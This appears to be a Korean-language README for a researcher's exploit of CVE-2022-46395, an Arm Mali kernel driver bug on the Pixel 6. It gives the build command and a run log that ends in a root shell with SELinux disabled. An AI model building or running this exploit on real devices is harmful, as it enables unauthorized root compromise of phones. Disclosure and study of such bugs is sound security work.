
CVE-2022-46395, Arm Mali 커널 드라이버 취약점에 대한 익스플로잇으로, Google Pixel 6에서 SELinux를 비활성화하고 루트 권한을 획득하기 위해 임의 커널 코드 실행을 달성합니다.
상세 분석은 여기에서 확인할 수 있습니다. 이는 2022년 11월에 제가 보고한 Arm Mali 커널 드라이버의 버그입니다. 이 버그는 신뢰할 수 없는 앱 도메인에서 임의의 커널 코드 실행을 달성하는 데 사용될 수 있으며, 이를 통해 SELinux를 비활성화하고 루트 권한을 획득합니다.
익스플로잇은 2022년 11월 및 2023년 1월 패치가 적용된 Google Pixel 6에서 테스트되었습니다. 참고로, ndk-21에서 clang으로 컴파일하기 위해 다음 명령어를 사용했습니다:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
익스플로잇은 부팅 후 몇 분 후에 실행해야 하며, 성공하려면 몇 분 정도 실행해야 할 가능성이 높습니다. 경쟁 조건에서 수백 번 실패하는 것은 드문 일이 아니지만, 경쟁 조건 실패는 부작용이 없으며 익스플로잇 전체적으로 충돌이 드물게 발생합니다. 성공하면 SELinux를 비활성화하고 루트 권한을 얻습니다.
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #